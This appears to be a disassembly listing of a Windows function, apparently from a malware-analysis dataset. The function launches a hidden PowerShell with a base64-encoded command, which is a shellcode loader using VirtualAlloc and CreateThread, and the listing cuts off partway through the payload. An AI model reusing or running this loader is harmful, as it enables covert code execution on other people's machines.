Function at 0x140001530
Capabilities:
Create process on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
call dbg.__main
mov rax, qword [sym.imp.KERNEL32.dll_FreeConsole]
call rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, str.powershell__window_hidden__EncodedCommand_JABNAEEAdQB3ACAAPQAgACcAJABmAEUAMgBVACAAPQAgACcAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgASQBuAHQAUAB0AHIAIABsAHAAQQBkAGQAcgBlAHMAcwAsACAAdQBpAG4AdAAgAGQAdwBTAGkAegBlACwAIAB1AGkAbgB0ACAAZgBsAEEAbABsAG8AYwBhAHQAaQBvAG4AVAB5AHAAZQAsACAAdQBpAG4AdAAgAGYAbABQAHIAbwB0AGUAYwB0ACkAOwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACgASQBuAHQAUAB0AHIAIABsAHAAVABoAHIAZQBhAGQAQQB0AHQAcgBpAGIAdQB0AGUAcwAsACAAdQBpAG4AdAAgAGQAdwBTAHQAYQBjAGsAUwBpAHoAZQAsACAASQBuAHQAUAB0AHIAIABsAHAAUwB0AGEAcgB0AEEAZABkAHIAZQBzAHMALAAgAEkAbgB0AFAAdAByACAAbABwAFAAYQByAGEAbQBlAHQAZQByACwAIAB1AGkAbgB0ACAAZAB3AEMAcgBlAGEAdABpAG8AbgBGAGwAYQBnAHMALAAgAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAEkAZAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbQBzAHYAYwByAHQALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAG0AZQBtAHMAZQB0ACgASQBuAHQAUAB0AHIAIABkAGUAcwB0ACwAIAB1AGkAbgB0ACAAcwByAGMALAAgAHUAaQBuAHQAIABjAG8AdQBuAHQAKQA7ACcAJwA7ACQAdwAgAD0AIABBAGQAZAAtAFQAeQBwAGUAIAAtAG0AZQBtAGIAZQByAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAGYARQAyAFUAIAAtAE4AYQBtAGUAIAAiAFcAaQBuADMAMgAiACAALQBuAGEAbQBlAHMAcABhAGMAZQAgAFcAaQBuADMAMgBGAHUAbgBjAHQAaQBvAG4AcwAgAC0AcABhAHMAcwB0AGgAcgB1ADsAWwBCAHkAdABlAFsAXQBdADsAWwBCAHkAdABlAFsAXQBdACQAegAgAD0AIAAwAHgAYgBmACwAMAB4ADAANgAsADAAeABlADIALAAwAHgAYQBiACwAMAB4ADMAZgAsADAAeABkADkALAAwAHgAZQBhACwAMAB4AGQAOQAsADAAeAA3ADQALAAwAHgAMgA0ACwAMAB4AGYANAAsADAAeAA1ADgALAAwAHgAMgA5ACwAMAB4AGMAOQAsADAAeABiADEALAAwAHgANABiACwAMAB4ADgAMwAsADAAeABlADgALAAwAHgAZgBjACwAMAB4ADMAMQAsADAAeAA3ADgALAAwAHgAMABlACwAMAB4ADAAMwAsADAAeAA3AGUALAAwAHgAZQBjACwAMAB4ADQAOQAsADAAeABjAGEALAAwAHgAOAAyACwAMAB4ADEAOAAsADAAeAAwADIALAAwAHgAMwA1ACwAMAB4ADcAYQAsADAAeABkADkALAAwAHgANwBkACwAMAB4ADAANwAsADAAeABhADgALAAwAHgAYgBkACwAMAB4AGYANgAsADAAeAAzADUALAAwAHgANwBjACwAMAB4AGIANwAsADAAeABlAGMALAAwAHgAMwAxACwAMAB4ADIAZQAsADAAeABjAGIALAAwAHgANgA1ACwAMAB4ADEANwAsADAAeABkAGEALAAwAHgANQA4ACwAMAB4ADAAYgAsADAAeABiADAALAAwAHgAZAAzACwAMAB4AGEAMQAsADAAeABlADMALAAwAHgANwA3ACwAMAB4ADUAOQAsADAAeAA3ADgALAAwAHgAYwBkACwAMAB4AGIANwAsADAAeABmADEALAAwAHgAYgA4ACwAMAB4ADQAYwAsADAAeAA0ADQALAAwAHgAMABiACwAMAB4AGUAZAAsADAAeABhAGUALAAwAHgANwA1ACwAMAB4AGMANAAsADAAeABlADAALAAwAHgAYQBmACwAMAB4AGIAMgAsADAAeAA5ADMALAAwAHgAOABmACwAMAB4ADQAMAAsADAAeAA2AGUALAAwAHgANwA0ACwAMAB4AGYAYgAsADAAeABjAGQALAAwAHgAOQBmACwAMAB4AGYAMQAsADAAeABiADkALAAwAHgAYwBkACwAMAB4ADkAZQAsADAAeABkADUALAAwAHgAYgA1ACwAMAB4ADYAZQAsADAAeABkADkALAAwAHgANQAwACwAMAB4ADAAOQAsADAAeAAxAGEALAAwAHgANQA1ACwAMAB4ADUAYgAsADAAeAA1AGEALAAwAHgANgA4ACwAMAB4ADMAZAAsADAAeAA3AGIALAAwAHgAMABhACwAMAB4AGUANAAsADAAeABmADYALAAwAHgANgAzACwAMAB4AGEAYgAsADAAeAAyADkALAAwAHgAOAAzACwAMAB4ADUAYQAsADAAeABkAGYALAAwAHgAZgAxACwAMAB4AGIAZAAsADAAeABhADMALAAwAHgANgA5ACwAMAB4ADgAMQAsADAAeAA4AGEALAAwAHgAZAAwACwAMAB4ADYAYgAsADAAeAA0ADMALAAwAHgAYwAzACwAMAB4ADIANgAsADAAeABjADcALAAwAHgAYQBhACwAMAB4AGUAYgAsADAAeABhAGIALAAwAHgAMQA5ACwAMAB4AGUAYQAsADAAeABjAGMALAAwAHgANQAzACwAMAB4ADYAYwAsADAAeAAwADAALAAwAHgAMgBmACwAMAB4AGUAZQAsADAAeAA3ADcALAAwAHgAZAAzACwAMAB4ADQAZAAsADAAeAAzADQALAAwAHgAZgBkACwAMAB4AGMANAAsADAAeABmADYALAAwAHgAYgBmACwAMAB4AGEANQAsADAAeAAyADAALAAwAHgAMAA2ACwAMAB4ADYAYwAsADAAeAAzADMALAAwAHgAYQAyACwAMAB4ADAANAAsADAAeABkADkALAAwAHgAMwA3ACwAMAB4AGUAYwAsADAAeAAwADgALAAwAHgAZABjACwAMAB4ADkANAAsADAAeAA4ADYALAAwAHgAMwA1ACwAMAB4ADUANQAsADAAeAAxAGIALAAwAHgANAA5ACwAMAB4AGIAYwAsADAAeAAyAGQALAAwAHgAMwA4ACwAMAB4ADQAZAAsADAAeABlADQALAAwAHgAZgA2ACwAMAB4ADIAMQAsADAAeABkADQALAAwAHgANAAwACwAMAB4ADUAOQAsADAAeAA1AGQALAAwAHgAMAA2ACwAMAB4ADIAYwAsADAAeAAwADYALAAwAHgAZgBiACwAMAB4ADQAYwAsADAAeABkAGYALAAwAHgANQAxACwAMAB4ADcAYgAsADAAeABhAGQALAAwAHgAMQBmACwAMAB4ADUAZQAsADAAeAAyADEALAAwAHgAMwBhACwAMAB4AGQAMwAsADAAeAA5ADIALAAwAHgAZABhACwAMAB4AGIAYQAsADAAeAA3AGIALAAwAHgAYQA1ACwAMAB4AGEAOQAsADAAeAA4ADgALAAwAHgAMgA0ACwAMAB4ADEAZAAsADAAeAAyADYALAAwAHgAYQAxACwAMAB4AGEAZAAsADAAeABiAG
lea r8, str.powershell.exe
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
mov ecx, 0
call sym.exit
nop
nop
nop
nop
nop
nop
nop